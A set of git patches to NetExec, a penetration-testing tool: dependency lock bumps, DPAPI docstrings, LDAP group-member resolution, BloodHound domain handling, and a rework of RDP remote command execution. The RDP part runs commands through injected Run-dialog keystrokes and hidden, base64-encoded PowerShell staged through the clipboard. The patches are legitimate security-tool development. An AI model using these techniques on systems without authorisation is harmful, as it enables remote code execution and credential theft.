"https://files.pythonhosted.org/packages/eb/dc/ad025c1ee131eba60c69f4dd5779b18fcf1e6b21a343e2162a84d5d133c7/soupsieve-2.9.2-py3-none-any.whl", hash = "sha256:8089a26fd974ca7a1f30276d3d8492ab266ab15af581642dfe8aa162e0c1c823", size = 37370, upload-time = "2026-08-07T00:57:23.524Z" }, ] [[package]] @@ -2210,14 +2211,14 @@ wheels = [ [[package]] name = "tqdm" -version = "4.68.4" +version = "4.70.0" source = { registry = "https://pypi.org/simple" } dependencies = [ { name = "colorama", marker = "sys_platform == 'win32'" }, ] -sdist = { url = "https://files.pythonhosted.org/packages/ae/5f/57ff8b434839e70dab45601284ea413e947a63799891b7553e5960a793a8/tqdm-4.68.4.tar.gz", hash = "sha256:19829c9673638f2a0b8617da4cdcb927e831cd88bcfcb6e78d42a4d1af131520", size = 792418, upload-time = "2026-07-07T09:58:18.369Z" } +sdist = { url = "https://files.pythonhosted.org/packages/21/3b/6c24bec5be5e743ffd99576daa5cc077722fc7d5bbc00bd133fa0c698dc6/tqdm-4.70.0.tar.gz", hash = "sha256:55b0b0dbd97462d06ebee91e4dac24ed4d4702be82b24f07e6c1d27e08cea220", size = 795438, upload-time = "2026-07-27T11:33:15.271Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/22/2a/5e5e750890ada51017d18d0d4c30da696e5b5bd3180947729927628fc3cb/tqdm-4.68.4-py3-none-any.whl", hash = "sha256:5168118b2368f48c561afda8020fd79195b1bdb0bdf8086b88442c267a315dc2", size = 676612, upload-time = "2026-07-07T09:58:16.256Z" }, + { url = "https://files.pythonhosted.org/packages/f9/1c/01bfd571a64e7f270e6bab5e33777debe0edc56759233ce84f27dec92d14/tqdm-4.70.0-py3-none-any.whl", hash = "sha256:7f585706bfddbdebf89daac705b2dfcc16890130727d3197ca62c732b4310953", size = 80184, upload-time = "2026-07-27T11:33:13.167Z" }, ] [[package]] @@ -2231,14 +2232,14 @@ wheels = [ [[package]] name = "typing-inspection" -version = "0.4.2" +version = "0.4.3" source = { registry = "https://pypi.org/simple" } dependencies = [ { name = "typing-extensions" }, ] -sdist = { url = "https://files.pythonhosted.org/packages/55/e3/70399cb7dd41c10ac53367ae42139cf4b1ca5f36bb3dc6c9d33acdb43655/typing_inspection-0.4.2.tar.gz", hash = "sha256:ba561c48a67c5958007083d386c3295464928b01faa735ab8547c5692e87f464", size = 75949, upload-time = "2025-10-01T02:14:41.687Z" } +sdist = { url = "https://files.pythonhosted.org/packages/6d/bc/4eae18cd40c65798a16267572ba346c11f599d44b01603dbd843342042bc/typing_inspection-0.4.3.tar.gz", hash = "sha256:c5f9ec1530b5c1e2c9bc34a84d9a3466ed1b2f3f2fa9f901368d9c5596210e4d", size = 76711, upload-time = "2026-08-10T09:39:18.063Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/dc/9b/47798a6c91d8bdb567fe2698fe81e0c6b7cb7ef4d13da4114b41d239f65d/typing_inspection-0.4.2-py3-none-any.whl", hash = "sha256:4ed1cacbdc298c220f1bd249ed5287caa16f34d44ef4e9c3d0cbad5b521545e7", size = 14611, upload-time = "2025-10-01T02:14:40.154Z" }, + { url = "https://files.pythonhosted.org/packages/42/f7/7a3935abdebd5cf18705a5f0335dd6a3a18bef3baa7cb9edc3b6b9922cc8/typing_inspection-0.4.3-py3-none-any.whl", hash = "sha256:5f42b23858a91e0b4ef521f5418f03a0da3c9216fd2995ef5e73463100e676cd", size = 14693, upload-time = "2026-08-10T09:39:16.693Z" }, ] [[package]] From daed14661a88d6170e7fb92c545486cc379fe77b Mon Sep 17 00:00:00 2001 From: zblurx Date: Wed, 12 Aug 2026 13:49:32 +0200 Subject: [PATCH 178/397] update docstrings in dpapi.py helper --- nxc/helpers/dpapi.py | 21 ++++++++++++++++++--- 1 file changed, 18 insertions(+), 3 deletions(-) diff --git a/nxc/helpers/dpapi.py b/nxc/helpers/dpapi.py index 1a3e617817..82cda7b5bb 100644 --- a/nxc/helpers/dpapi.py +++ b/nxc/helpers/dpapi.py @@ -59,11 +59,26 @@ def upgrade_to_dploot_connection(target, context=None): class DPAPITriage: """ - This class is the DPAPI engine in NetExec. Each protocol supporting DPAPI needs to implement this class. + DPAPI engine in NetExec. Each protocol supporting DPAPI needs to implement this class. Since multiple NXC functionalities now implements DPAPI related secret recovery, this class aims to centralize it in order to ease implemented and maintaining DPAPI functionalities is NXC protocols, but also to avoid dumping masterkeys X times from the same target, loading the domain backup keys X times, etc. - + + To implement this class in a protocol, use a @property decorator on dpapi_triage like so: + + ``` + @property + def dpapi_triage(self) -> DPAPITriage: + if self._dpapi_triage is not None: + return self._dpapi_triage + target = + + self._dpapi_triage = DPAPITriage(self, target) + return self._dpapi_triage + ``` + + This way, every DPAPI related module will automaticaly work with the protocol + """ def __init__(self, context, target: Target): self.context = context @@ -392,7 +407,7 @@ def sccm_callback(secret): @property def pvkbytes(self): """ - This function will return pvkbytes and tries to set it if it as not already been + The pvkbytes. If not already initialized, tries to set it The precedence order is the following : - Check the pvk argument - Checks in the DB From 7d742355f5a39e9bb86a13976fb2de4ec434b73b Mon Sep 17 00:00:00 2001 From: amikuss Date: Thu, 13 Aug 2026 10:40:25 +0200 Subject: [PATCH 179/397] fix(ldap): resolve group members via 'member' fallback for missing 'memberOf' backlinks --- nxc/protocols/ldap.py | 38 ++++++++++++++++++++++++++++++++++++-- 1 file changed, 36 insertions(+), 2 deletions(-) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index d841a80436..795caf1b03 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -748,8 +748,9 @@ def groups(self): if self.args.groups: self.logger.debug(f"Dumping group: {self.args.groups}") - # Resolve group DN and primaryGroupID (objectSid) - group_resp = self.search(f"(&(cn={self.args.groups})(objectClass=group))", ["distinguishedName", "objectSid"]) + # Resolve group DN and primaryGroupID (objectSid) and member attribute + # This to include users which do not have a populated memberOf backlink + group_resp = self.search(f"(&(cn={self.args.groups})(objectClass=group))", ["distinguishedName", "objectSid", "member"]) group_parsed = parse_result_attributes(group_resp) if not group_parsed: @@ -771,6 +772,39 @@ def groups(self): self.logger.debug(f"Total of records returned {len(resp_parsed)}") if self.args.groups: + # Fall back to the group's member attribute for any DN the + # memberOf/primaryGroupID search above didn't already return + group_members = group.get("member", []) + if not isinstance(group_members, list): + group_members = [group_members] + + member_attributes = ["sAMAccountName", "distinguishedName", "cn", "objectClass"] + + if group_members: + original_scope = self.scope + try: + self.scope = ldapasn1_impacket.Scope("baseObject") + for member_dn in group_members: + try: + member_resp = self.search("(objectClass=*)", member_attributes, baseDN=member_dn) + except Exception as e: + self.logger.debug(f"Failed to resolve member DN '{member_dn}': {e}") + member_resp = [] + + member_parsed = parse_result_attributes(member_resp) + if member_parsed: + resp_parsed.append(member_parsed[0]) + else: + self.logger.debug(f"Could not resolve group member DN: {member_dn}") + finally: + self.scope = original_scope + + deduped = {} + for item in resp_parsed: + key = item.get("distinguishedName", item.get("cn", "")).lower() + deduped.setdefault(key, item) + resp_parsed = list(deduped.values()) + # Display group members if not resp_parsed: self.logger.fail(f"Group '{self.args.groups}' has no members") From 38a5f36c0b2fd29ae32871c341ccd9e4394f99ed Mon Sep 17 00:00:00 2001 From: Mac Date: Sat, 15 Aug 2026 12:54:48 +0200 Subject: [PATCH 180/397] fix: use target domain for bloodhound collection --- nxc/protocols/ldap.py | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index d841a80436..406670aea3 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -1692,7 +1692,7 @@ def bloodhound(self): ) ad = AD( auth=auth, - domain=self.domain, + domain=self.targetDomain, nameserver=self.args.dns_server, dns_tcp=self.args.dns_tcp, dns_timeout=self.args.dns_timeout, @@ -1700,7 +1700,7 @@ def bloodhound(self): self.logger.debug("Using DNS to retrieve domain information") try: - ad.dns_resolve(domain=self.domain) + ad.dns_resolve(domain=self.targetDomain) except (resolver.LifetimeTimeout, resolver.NoNameservers): self.logger.fail("Bloodhound-python failed to resolve domain information, try specifying the DNS server.") return @@ -1763,13 +1763,13 @@ def _collect_adcs_for_bloodhound(self, timestamp): # Create CertiHound adapter and collector adapter = ImpacketLDAPAdapter( search_func=self.search, - domain=self.domain, + domain=self.targetDomain, domain_sid=self.sid_domain, ) collector = ADCSCollector.from_external( ldap_connection=adapter, - domain=self.domain, + domain=self.targetDomain, domain_sid=self.sid_domain, ) data = collector.collect_all() From 5b6647b4d0159b2385ddfb145e14b4cda04d15b1 Mon Sep 17 00:00:00 2001 From: Adam Hassan Date: Sat, 25 Jul 2026 17:07:03 -0700 Subject: [PATCH 181/397] fix(rdp): stabilize headless command execution --- nxc/protocols/rdp.py | 349 +++++++++++++++++++------------- nxc/protocols/rdp/proto_args.py | 4 +- tests/e2e_commands.txt | 4 + 3 files changed, 218 insertions(+), 139 deletions(-) diff --git a/nxc/protocols/rdp.py b/nxc/protocols/rdp.py index fdbdd923c4..a80c04b513 100644 --- a/nxc/protocols/rdp.py +++ b/nxc/protocols/rdp.py @@ -1,7 +1,10 @@ import asyncio +import base64 +import copy import contextlib from datetime import datetime from os import getenv +from uuid import uuid4 from anyio import Path from termcolor import colored @@ -114,6 +117,16 @@ def print_host_info(self): except Exception as e: self.logger.debug(f"Error adding host {self.host} into db: {e!s}") + def _create_rdp_connection(self, credentials): + iosettings = self.iosettings.clone_for_connection() + if credentials is not None: + iosettings.supported_protocols = None + return RDPConnection( + iosettings=iosettings, + target=copy.deepcopy(self.target), + credentials=copy.deepcopy(credentials), + ) + def create_conn_obj(self): self.target = RDPTarget(ip=self.host, domain="FAKE", port=self.port, timeout=self.args.rdp_timeout) self.auth = NTLMCredential(secret="pass", username="user", domain="FAKE", stype=asyauthSecret.PASS) @@ -123,11 +136,7 @@ def create_conn_obj(self): for proto in reversed(self.protoflags): try: self.iosettings.supported_protocols = proto - self.conn = RDPConnection( - iosettings=self.iosettings, - target=self.target, - credentials=self.auth, - ) + self.conn = self._create_rdp_connection(self.auth) asyncio.run(self.connect_rdp_with_cleanup()) except OSError as e: if "Errno 104" not in str(e): @@ -174,11 +183,7 @@ async def check_nla(self): self.logger.debug(f"Checking NLA for {self.host}") try: self.iosettings.supported_protocols = SUPP_PROTOCOLS.SSL - self.conn = RDPConnection( - iosettings=self.iosettings, - target=self.target, - credentials=None, - ) + self.conn = self._create_rdp_connection(None) packetizer = TPKTPacketizer() client = UniClient(self.target, packetizer) self.conn._connection = await asyncio.wait_for(client.connect(), timeout=self.args.rdp_timeout) @@ -247,8 +252,12 @@ def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", ccache = CCache.loadFile(getenv("KRB5CCNAME")) ticketCreds = ccache.credentials[0] username = ticketCreds["client"].prettyPrint().decode().split("@")[0] + elif aesKey: + stype = asyauthSecret.AES + password = aesKey else: stype = asyauthSecret.PASS if not nthash else asyauthSecret.NT + password = password if password else nthash kerberos_target = UniTarget( self.kdcHost, @@ -268,7 +277,7 @@ def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", domain=domain, stype=stype, ) - self.conn = RDPConnection(iosettings=self.iosettings, target=self.target, credentials=self.auth) + self.conn = self._create_rdp_connection(self.auth) asyncio.run(self.connect_rdp_with_cleanup()) self.admin_privs = True @@ -324,7 +333,7 @@ def plaintext_login(self, domain, username, password): domain=domain, stype=asyauthSecret.PASS, ) - self.conn = RDPConnection(iosettings=self.iosettings, target=self.target, credentials=self.auth) + self.conn = self._create_rdp_connection(self.auth) asyncio.run(self.connect_rdp_with_cleanup()) self.admin_privs = True @@ -358,7 +367,7 @@ def hash_login(self, domain, username, ntlm_hash): domain=domain, stype=asyauthSecret.NT, ) - self.conn = RDPConnection(iosettings=self.iosettings, target=self.target, credentials=self.auth) + self.conn = self._create_rdp_connection(self.auth) asyncio.run(self.connect_rdp_with_cleanup()) self.admin_privs = True @@ -388,10 +397,11 @@ def hash_login(self, domain, username, ntlm_hash): async def _send_keystrokes(self, text, delay=0.02): """Helper method to send keystrokes to the RDP session""" for char in text: - key_event = RDP_KEYBOARD_UNICODE() - key_event.char = char - key_event.is_pressed = True - await self.conn.ext_in_queue.put(key_event) + for is_pressed in (True, False): + key_event = RDP_KEYBOARD_UNICODE() + key_event.char = char + key_event.is_pressed = is_pressed + await self.conn.ext_in_queue.put(key_event) await asyncio.sleep(delay) async def _send_enter(self): @@ -400,52 +410,171 @@ async def _send_enter(self): await asyncio.sleep(0.05) await self.conn.send_key_virtualkey("VK_RETURN", False, False) + async def _send_shortcut(self, modifier, key): + layout = KeyboardLayoutManager().get_layout_by_shortname("enus") + modifier_scancode = layout.vk_to_scancode(modifier) + key_scancode = layout.char_to_scancode(key)[0] + + await self.conn.send_key_scancode(modifier_scancode, True, False) + await asyncio.sleep(0.05) + await self.conn.send_key_scancode(key_scancode, True, False) + await asyncio.sleep(0.05) + await self.conn.send_key_scancode(key_scancode, False, False) + await asyncio.sleep(0.05) + await self.conn.send_key_scancode(modifier_scancode, False, False) + async def _send_win_r(self): """Helper method to send Windows+R key combination to open Run dialog""" + self.logger.debug("Sending Win+R using scancode method") + for _ in range(2): + _, err = await self.conn.send_focus_in() + if err is not None: + raise err + await self._send_shortcut("VK_LWIN", "r") + await asyncio.sleep(0.5) + + @staticmethod + def _build_execution_command(payload, shell_type, marker, get_output): + if not get_output: + if shell_type == "cmd": + return f"cmd.exe /d /s /c {payload}" + if shell_type == "powershell": + return ( + "powershell.exe -NoLogo -NoProfile -NonInteractive " + f"-WindowStyle Hidden -Command {payload}" + ) + raise ValueError(f"Unsupported shell type: {shell_type}") + + payload_encoded = base64.b64encode(payload.encode("utf-16-le")).decode("ascii") + decode_payload = f"$command = [Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('{payload_encoded}'))" + + if shell_type == "cmd": + invoke_command = "$output = & $env:ComSpec /d /s /c $command 2>&1" + elif shell_type == "powershell": + invoke_command = "$output = & ([ScriptBlock]::Create($command)) 2>&1" + else: + raise ValueError(f"Unsupported shell type: {shell_type}") + + start_marker = f"__NXC_RDP_START_{marker}__" + end_marker = f"__NXC_RDP_END_{marker}__" + script = f""" +$ErrorActionPreference = 'Continue' +{decode_payload} +try {{ + {invoke_command} + $succeeded = $? + $nativeExitCode = $LASTEXITCODE +}} catch {{ + $output = $_ + $succeeded = $false + $nativeExitCode = $null +}} +$exitCode = if ($null -ne $nativeExitCode) {{ [int]$nativeExitCode }} elseif (-not $succeeded) {{ 1 }} else {{ 0 }} +$outputText = ($output | Out-String -Width 4096).TrimEnd() +$result = @('{start_marker}', [string]$exitCode, $outputText, '{end_marker}') -join [Environment]::NewLine +Set-Clipboard -Value $result +""" + + encoded_script = base64.b64encode(script.encode("utf-16-le")).decode("ascii") + return f"powershell.exe -NoLogo -NoProfile -NonInteractive -WindowStyle Hidden -EncodedCommand {encoded_script}" + + @staticmethod + def _parse_execution_result(clipboard_text, marker): + start_marker = f"__NXC_RDP_START_{marker}__" + end_marker = f"__NXC_RDP_END_{marker}__" + normalized = clipboard_text.replace("\r\n", "\n").rstrip("\x00") + + start_index = normalized.find(start_marker) + end_index = normalized.find(end_marker, start_index + len(start_marker)) + if start_index == -1 or end_index == -1: + return None + + body = normalized[start_index + len(start_marker):end_index].lstrip("\n") + exit_code_text, separator, output = body.partition("\n") + if not separator: + return None + try: - self.logger.debug("Sending Win+R using scancode method") + exit_code = int(exit_code_text.strip()) + except ValueError: + return None + return exit_code, output.rstrip("\n") - layout = KeyboardLayoutManager().get_layout_by_shortname("enus") + async def _wait_for_event(self, event_names, max_wait): + loop = asyncio.get_running_loop() + deadline = loop.time() + max_wait - win_scancode = layout.vk_to_scancode("VK_LWIN") - await self.conn.send_key_scancode(win_scancode, True, False) - await asyncio.sleep(0.1) + while True: + if self.conn.disconnected_evt.is_set(): + raise ConnectionError("RDP connection was terminated") - r_scancode = layout.char_to_scancode("r")[0] - await self.conn.send_key_scancode(r_scancode, True, False) - await asyncio.sleep(0.1) + remaining = deadline - loop.time() + if remaining <= 0: + raise asyncio.TimeoutError - await self.conn.send_key_scancode(r_scancode, False, False) - await asyncio.sleep(0.1) + data = await asyncio.wait_for(self.conn.ext_out_queue.get(), timeout=remaining) + if data is None: + raise ConnectionError("RDP connection was terminated") - await self.conn.send_key_scancode(win_scancode, False, False) + event_name = getattr(getattr(data, "type", None), "name", None) + if event_name in event_names: + return data - await asyncio.sleep(0.5) + async def _wait_for_desktop(self): + loop = asyncio.get_running_loop() + started_at = loop.time() - self.logger.debug("Win+R sent successfully") - return True - except (ConnectionResetError, ConnectionError, OSError) as e: - self.logger.debug(f"Connection error while waiting for clipboard: {e!s}") - self.logger.fail("Connection was reset by the remote host") - return False - except Exception as e: - self.logger.debug(f"Error sending Win+R: {e!s}") - self.logger.debug("Using fallback approach for opening command prompt") - return False + if not self.conn.desktop_buffer_has_data: + try: + await self._wait_for_event({"VIDEO"}, self.args.cmd_delay) + except asyncio.TimeoutError: + self.logger.debug("No desktop update received before command execution; continuing") + + remaining_delay = self.args.cmd_delay - (loop.time() - started_at) + if remaining_delay > 0: + await asyncio.sleep(remaining_delay) + + async def _submit_run_command(self, command): + await self._send_win_r() + await self.conn.set_current_clipboard_text(command) + response = await self._wait_for_event( + {"CLIPBOARD_FORMAT_LIST_RESPONSE"}, self.args.clipboard_delay + ) + if not response.accepted: + raise RuntimeError( + "Remote session rejected the clipboard command data" + ) + await self._send_keystrokes('powershell.exe -NoLogo -NoProfile -NonInteractive -WindowStyle Hidden -Command "Invoke-Expression (Get-Clipboard -Raw)"') + await self._send_enter() + + async def _submit_typed_run_command(self, command): + await self._send_win_r() + await self._send_keystrokes(command, delay=0.005) + await self._send_enter() + + async def _wait_for_command_result(self, marker): + loop = asyncio.get_running_loop() + deadline = loop.time() + self.args.clipboard_delay + + while True: + remaining = deadline - loop.time() + if remaining <= 0: + raise asyncio.TimeoutError + + data = await self._wait_for_event({"CLIPBOARD_DATA_TXT"}, remaining) + result = self._parse_execution_result(data.data, marker) + if result is not None: + return result async def execute_shell(self, payload, get_output, shell_type): - # Append | clip to send output to clipboard - if shell_type == "cmd": - payload_with_clip = f"{payload} | clip & exit" - elif shell_type == "powershell": - payload_with_clip = f"try {{ {payload} 2>&1 | clip}} catch {{ $_ | clip}}; exit" - else: - self.logger.fail(f"Unsupported shell type: {shell_type}") - return None - self.logger.debug(f"Executing command: {payload_with_clip}") + marker = uuid4().hex if get_output else None + command = self._build_execution_command( + payload, shell_type, marker, get_output + ) + self.logger.debug(f"Executing {shell_type} command through {'an encoded PowerShell launcher' if get_output else 'interactive keyboard input'}") try: - self.conn = RDPConnection(iosettings=self.iosettings, target=self.target, credentials=self.auth) + self.conn = self._create_rdp_connection(self.auth) await self.connect_rdp() except Exception as e: self.logger.debug(f"Error connecting to RDP: {e!s}") @@ -454,91 +583,44 @@ async def execute_shell(self, payload, get_output, shell_type): try: if get_output: self.logger.success("Waiting for clipboard to be ready...") - clipboard_ready = False - await asyncio.sleep(self.args.cmd_delay) - - timeout_counter = 0 - while not clipboard_ready and timeout_counter < (self.args.clipboard_delay * 10): # Convert seconds to deciseconds - try: - data = await asyncio.wait_for(self.conn.ext_out_queue.get(), timeout=0.1) - if hasattr(data, "type") and data.type.name == "CLIPBOARD_READY": - clipboard_ready = True - self.logger.debug("Clipboard is ready!") - break - except asyncio.TimeoutError: - timeout_counter += 1 - continue - except (ConnectionResetError, ConnectionError, OSError) as e: - self.logger.debug(f"Connection error while waiting for clipboard: {e!s}") - self.logger.fail("Connection was reset by the remote host") - return "" - except Exception as e: - self.logger.debug(f"Error waiting for clipboard: {e!s}") - self.logger.fail("Warning: Clipboard may not be fully initialized, no output can be retrieved") - return "" - - if not clipboard_ready: + try: + await self._wait_for_event({"CLIPBOARD_READY"}, self.args.clipboard_delay) + except asyncio.TimeoutError: self.logger.fail("Clipboard cannot be initialized, no output can be retrieved") return "" - # Wait for desktop to be available - await asyncio.sleep(self.args.cmd_delay) + await self._wait_for_desktop() + if get_output: + try: + await self._submit_run_command(command) + except asyncio.TimeoutError: + self.logger.fail( + "Remote session did not acknowledge the clipboard command data" + ) + return None + else: + await self._submit_typed_run_command(command) - try: - # Try to open Run dialog using Windows+R - self.logger.debug("Attempting to open Run dialog") - win_r_success = await self._send_win_r() - - if win_r_success: - self.logger.debug(f"Launching {shell_type} via Run dialog") - await self._send_keystrokes(f"{shell_type}.exe") - await self._send_enter() - await asyncio.sleep(self.args.cmd_delay) # Wait for cmd window to open - else: - # Fallback: Try direct command typing (assumes cmd may already be open) - self.logger.debug(f"Sending {shell_type} command directly") - await self._send_keystrokes(f"{shell_type}.exe") - await self._send_enter() - await asyncio.sleep(self.args.cmd_delay) - - # Type the command with | clip - self.logger.debug(f"Typing command: {payload_with_clip}") - await self._send_keystrokes(payload_with_clip) - await self._send_enter() - - # Wait for command to execute + if not get_output: await asyncio.sleep(self.args.cmd_delay) - - if get_output: - # Get the current clipboard text - self.logger.debug("Getting clipboard content...") - clipboard_text = await self.conn.get_current_clipboard_text() - - if clipboard_text: - self.logger.debug("Command output retrieved from clipboard:") - for line in clipboard_text.lstrip().strip("\n").splitlines(): - self.logger.highlight(line) - else: - self.logger.fail("Clipboard is empty or contains non-text data") - return clipboard_text - else: - self.logger.success("Executed command without retrieving output") - - self.logger.debug("Command execution completed") + self.logger.success("Executed command without retrieving output") return None - except (ConnectionResetError, ConnectionError, OSError) as e: - self.logger.debug(f"Connection error during command execution: {e!s}") - self.logger.fail("Connection was reset by the remote host during command execution") - return None - except Exception as e: - self.logger.debug(f"Error during command execution: {e!s}") - if "cannot unpack non-iterable NoneType object" in str(e): - self.logger.fail("RDP connection was terminated unexpectedly") - else: - self.logger.fail(f"Command execution failed: {e!s}") + try: + exit_code, output = await self._wait_for_command_result(marker) + except asyncio.TimeoutError: + self.logger.fail("Timed out waiting for command output on the RDP clipboard") return None + if exit_code != 0: + self.logger.fail(f"Command completed with exit code {exit_code}") + if output: + for line in output.splitlines(): + self.logger.highlight(line) + else: + self.logger.debug("Command completed without output") + return output + except (ConnectionResetError, ConnectionError, OSError) as e: self.logger.debug(f"Connection error: {e!s}") self.logger.fail("Connection was reset by the remote host") @@ -559,31 +641,24 @@ def execute(self, payload=None, shell_type="cmd"): get_output = bool(not self.args.no_output) - self.logger.success(f"Executing command: {payload} with delay {self.args.cmd_delay} seconds") + self.logger.success(f"Executing command: {payload}") try: result = asyncio.run(self.execute_shell(payload, get_output, shell_type)) - if result: + if result is not None: self.logger.debug("Command execution completed") return result except Exception as e: self.logger.error(f"Command execution error: {e!s}") - if shell_type == "cmd": - self.logger.info("Cannot execute command via cmd - now switching to PowerShell to attempt execution") - try: - return self.execute(payload, shell_type="powershell") - except Exception as e2: - self.logger.fail(f"Execute command failed, error: {e2!s}") - else: - self.logger.fail(f"Execute command failed, error: {e!s}") + self.logger.fail(f"Execute command failed, error: {e!s}") def ps_execute(self): self.execute(payload=self.args.ps_execute, shell_type="powershell") async def screen(self): try: - self.conn = RDPConnection(iosettings=self.iosettings, target=self.target, credentials=self.auth) + self.conn = self._create_rdp_connection(self.auth) await self.connect_rdp() await asyncio.sleep(5) @@ -606,7 +681,7 @@ async def nla_screen(self): for proto in self.protoflags_nla: try: self.iosettings.supported_protocols = proto - self.conn = RDPConnection(iosettings=self.iosettings, target=self.target, credentials=self.auth) + self.conn = self._create_rdp_connection(self.auth) await self.connect_rdp() except Exception as e: self.logger.debug(f"Failed to connect for nla_screenshot with {proto} {e}") diff --git a/nxc/protocols/rdp/proto_args.py b/nxc/protocols/rdp/proto_args.py index a604675716..057c927788 100644 --- a/nxc/protocols/rdp/proto_args.py +++ b/nxc/protocols/rdp/proto_args.py @@ -20,8 +20,8 @@ def proto_args(parser, parents): cgroup = rdp_parser.add_argument_group("Command Execution") cgroup.add_argument("-x", metavar="COMMAND", dest="execute", help="execute the specified command") cgroup.add_argument("-X", metavar="PS_COMMAND", dest="ps_execute", help="execute the specified PowerShell command") - cgroup.add_argument("--cmd-delay", type=int, default=5, help="Sleep time before executing command") - cgroup.add_argument("--clipboard-delay", type=int, default=30, help="Maximum time to wait for clipboard initialization (seconds)") + cgroup.add_argument("--cmd-delay", type=int, default=5, help="Delay before executing the command and before disconnecting with --no-output") + cgroup.add_argument("--clipboard-delay", type=int, default=30, help="Maximum time to wait for clipboard initialization and command output") cgroup.add_argument("--no-output", action="store_true", help="do not retrieve command output") return parser diff --git a/tests/e2e_commands.txt b/tests/e2e_commands.txt index 863e18c533..f80ccb1655 100644 --- a/tests/e2e_commands.txt +++ b/tests/e2e_commands.txt @@ -311,6 +311,10 @@ netexec rdp TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --nla-scree netexec rdp TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --screenshot netexec rdp TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig netexec rdp TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -x ipconfig +netexec rdp TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -x "echo nxc-rdp-exec" +netexec rdp TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -x "echo alpha^&beta" +netexec rdp TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X "Write-Output 'nxc-rdp-exec'" +netexec rdp TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -x "echo nxc-rdp-no-output" --no-output ##### SSH - Default test passwords and random key; switch these out if you want correct authentication netexec ssh TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD netexec ssh TARGET_HOST -u TEST_USER_FILE -p TEST_PASSWORD_FILE --no-bruteforce From 9bba4a1013b3fa700d90354568c748691f9765e1 Mon Sep 17 00:00:00 2001 From: Adam Hassan Date: Sat, 25 Jul 2026 17:55:53 -0700 Subject: [PATCH 182/397] fix(rdp): support legacy PowerShell clipboard access --- nxc/protocols/rdp.py | 12 +++++++++--- 1 file changed, 9 insertions(+), 3 deletions(-) diff --git a/nxc/protocols/rdp.py b/nxc/protocols/rdp.py index a80c04b513..c91d63a49b 100644 --- a/nxc/protocols/rdp.py +++ b/nxc/protocols/rdp.py @@ -472,11 +472,12 @@ def _build_execution_command(payload, shell_type, marker, get_output): $exitCode = if ($null -ne $nativeExitCode) {{ [int]$nativeExitCode }} elseif (-not $succeeded) {{ 1 }} else {{ 0 }} $outputText = ($output | Out-String -Width 4096).TrimEnd() $result = @('{start_marker}', [string]$exitCode, $outputText, '{end_marker}') -join [Environment]::NewLine -Set-Clipboard -Value $result +Add-Type -AssemblyName System.Windows.Forms +[System.Windows.Forms.Clipboard]::SetText($result) """ encoded_script = base64.b64encode(script.encode("utf-16-le")).decode("ascii") - return f"powershell.exe -NoLogo -NoProfile -NonInteractive -WindowStyle Hidden -EncodedCommand {encoded_script}" + return f"powershell.exe -NoLogo -NoProfile -NonInteractive -STA -WindowStyle Hidden -EncodedCommand {encoded_script}" @staticmethod def _parse_execution_result(clipboard_text, marker): @@ -544,7 +545,12 @@ async def _submit_run_command(self, command): raise RuntimeError( "Remote session rejected the clipboard command data" ) - await self._send_keystrokes('powershell.exe -NoLogo -NoProfile -NonInteractive -WindowStyle Hidden -Command "Invoke-Expression (Get-Clipboard -Raw)"') + await self._send_keystrokes( + "powershell.exe -NoLogo -NoProfile -NonInteractive -STA " + '-WindowStyle Hidden -Command "Add-Type -AssemblyName ' + "System.Windows.Forms; Invoke-Expression " + '([System.Windows.Forms.Clipboard]::GetText())"' + ) await self._send_enter() async def _submit_typed_run_command(self, command): From ae77d482b9c80f02a3520c7f3520112c7d53441a Mon Sep 17 00:00:00 2001 From: Adam Hassan Date: Sun, 26 Jul 2026 01:29:55 -0700 Subject: [PATCH 183/397] docs: add inline comments for clipboard sync and PS launcher --- nxc/protocols/rdp.py | 3 +++ 1 file changed, 3 insertions(+) diff --git a/nxc/protocols/rdp.py b/nxc/protocols/rdp.py index c91d63a49b..c34d61e144 100644 --- a/nxc/protocols/rdp.py +++ b/nxc/protocols/rdp.py @@ -538,6 +538,7 @@ async def _wait_for_desktop(self): async def _submit_run_command(self, command): await self._send_win_r() await self.conn.set_current_clipboard_text(command) + # server must acknowledge our clipboard data before we trigger the read response = await self._wait_for_event( {"CLIPBOARD_FORMAT_LIST_RESPONSE"}, self.args.clipboard_delay ) @@ -545,6 +546,8 @@ async def _submit_run_command(self, command): raise RuntimeError( "Remote session rejected the clipboard command data" ) + # type a one-liner that reads and executes the clipboard we just set + # uses .NET WinForms API instead of Get-Clipboard (which requires PS5+) await self._send_keystrokes( "powershell.exe -NoLogo -NoProfile -NonInteractive -STA " '-WindowStyle Hidden -Command "Add-Type -AssemblyName ' From 2aa0601c885d91360287ed0aebf1bdcdbda2fecb Mon Sep 17 00:00:00 2001 From: Adam Hassan Date: Sun, 26 Jul 2026 01:31:52 -0700 Subject: [PATCH 184/397] docs: clarify supported_protocols reset --- nxc/protocols/rdp.py | 3 +++ 1 file changed, 3 insertions(+) diff --git a/nxc/protocols/rdp.py b/nxc/protocols/rdp.py index c34d61e144..20d7535288 100644 --- a/nxc/protocols/rdp.py +++ b/nxc/protocols/rdp.py @@ -120,6 +120,9 @@ def print_host_info(self): def _create_rdp_connection(self, credentials): iosettings = self.iosettings.clone_for_connection() if credentials is not None: + # clear the protocol override left by the NLA probe so aardwolf + # picks the right X224 flags for this credential type (e.g. + # RESTRICTED_ADMIN for hashes, HYBRID_EX for passwords) iosettings.supported_protocols = None return 